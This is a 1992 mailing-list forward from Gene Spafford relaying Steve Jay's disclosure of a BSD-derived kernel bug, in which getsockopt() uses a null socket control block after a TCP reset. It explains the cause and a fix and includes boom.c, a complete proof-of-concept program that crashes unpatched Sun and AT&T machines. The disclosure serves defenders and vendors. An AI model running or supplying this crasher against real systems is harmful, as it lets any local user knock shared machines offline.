Date: Fri, 03 Jan 92 17:00:30 EST From: Gene Spafford This program crashes Suns and AT&T machines. It may also crash BSD and Ultrix machines. You may (or may not) want to consider the fix. If nothing else, this program is going to be out there, so you might want to be on the lookout for any suspcious machine crashes. --spaf ------- Forwarded Message Date: Fri, 03 Jan 92 13:53:13 -0800 From: shj@ultra.com (Steve Jay {Ultra Unix SW Mgr}) Subject: system crasher [shj@ultra.com (Steve Jay {Ultra Unix SW Mgr}): system crasher] Thanks for volunteering. The test program is attached to the end of this message. You compile and execute it with just % cc -o boom boom.c % ./boom Please run the test on whatever systems you care to, and send me the results. For a system that has the bug fixed, the output will be something like > using port 1025 > getpeer sts -1, errno 123 > getsockopt: Invalid argument The "getpeer sts..." msg may appear several times. On systems with the bug, the system will crash on the getsockopt(). The bug is in the kernel routines that processes the getsockopt() system call [tcp_ctlouput() and ip_ctloutput()]. The routines use the "so_pcb" field from the socket structure without checking it for 0. If a TCP RESET has been received on a connection, the in_pcb and tcpcb structures will have been deleted, and the so_pcb field is 0. The program forces a RESET to be sent by writing to a connection after the other side has closed its end of the connection. The getpeername() system call has code in it to correctly test for a 0 in_pcb value, in which case it returns ENOTCONN. So, the program writes to the socket and does getpeername() calls until the getpeername() fails. It then does the getsockopt() call. The bug fix is easy...add code to the beginning of the tcp_ctloutput() and ip_ctloutput() routines similar to the code at the beginning of the tcp_usrreq() routine to check [under splnet()], for 0 in the so_pcb field. BTW, I didn't discover this bug. One of Ultra's customers sent us a crash dump from their Sun system, believing that the crash was caused by our software. After looking at the dump, I was able to come up with this test program, which crashes any Sun, regardless of whether Ultra's software is installed. Also BTW, the bug appears to be fixed on SGI IRIX and IBM AIX (both 370 and RS6000 versions). However, the fix may not be completely correct, as the SGI version doesn't appear to do splnet() before doing the check for 0, which I believe leaves a tiny window for the crash, if the TCP RESET comes in just as the user does the getsockopt(). The fact that it's (at least partiallly) fixed on these systems may mean the bug isn't as pervasive as I thought. I have reported the bug, including test program and fix, to Sun. I'm waiting for a response. Thanks for your help. Steve Jay shj@ultra.com ...ames!ultra!shj Ultra Network Technologies / 101 Dagget Drive / San Jose, CA 95134 / USA (408) 922-0100 x130 "Home of the 1 Gigabit/Second network" ============================ boom.c ======================================= #include #include #include #include #include #include void pexit(s) char *s; { perror(s); exit(1); } int get_local_port(s) int s; { int port; struct sockaddr_in a; for (port = IPPORT_RESERVED; port < IPPORT_USERRESERVED; port++) { bzero((char *)&a, sizeof(a)); a.sin_family = AF_INET; a.sin_addr.s_addr = INADDR_ANY; a.sin_port = port; if (bind(s, (struct sockaddr *)&a, sizeof(a))) { if (errno != EADDRINUSE) { pexit("bind"); } } else { printf("using port %d\n", port); return(port); } } fprintf(stderr, "can't get a port\n"); exit(1); } void do_connect(port) int port; { int s; struct sockaddr_in a; sleep(1); if ((s = socket(PF_INET, SOCK_STREAM, 0)) == -1) { pexit("socket2"); } bzero((char *)&a, sizeof(a)); a.sin_family = AF_INET; a.sin_addr.s_addr = INADDR_LOOPBACK; a.sin_port = port; if (connect(s, (struct sockaddr *)&a, sizeof(a)) == -1) { pexit("connect"); } exit(0); } main() { int s, ns, sts, len, pid, port; extern int errno; struct sockaddr_in a; if ((s = socket(PF_INET, SOCK_STREAM, 0)) == -1) { pexit("socket"); } port = get_local_port(s); if (listen(s, 1) == -1) { pexit("listen"); } if ((pid = fork()) == -1 ) { pexit("fork"); } else if (pid == 0) { do_connect(port); } len = sizeof(a); if((ns = accept(s, (struct sockaddr *)&a, &len)) == -1) { pexit("accept"); } do { write(ns, (char *)&a, sizeof(a)); len = sizeof(a); errno = 0; sts = getpeername(ns, (struct sockaddr *)&a, &len); printf("getpeer sts %d, errno %d\n", sts, errno); sleep(1); } while (sts == 0); len = sizeof(a); if (getsockopt(ns, IPPROTO_IP, IP_OPTIONS, (char *)&a, &len) == -1) { pexit("getsockopt"); } exit(0); } ------- End of Forwarded Message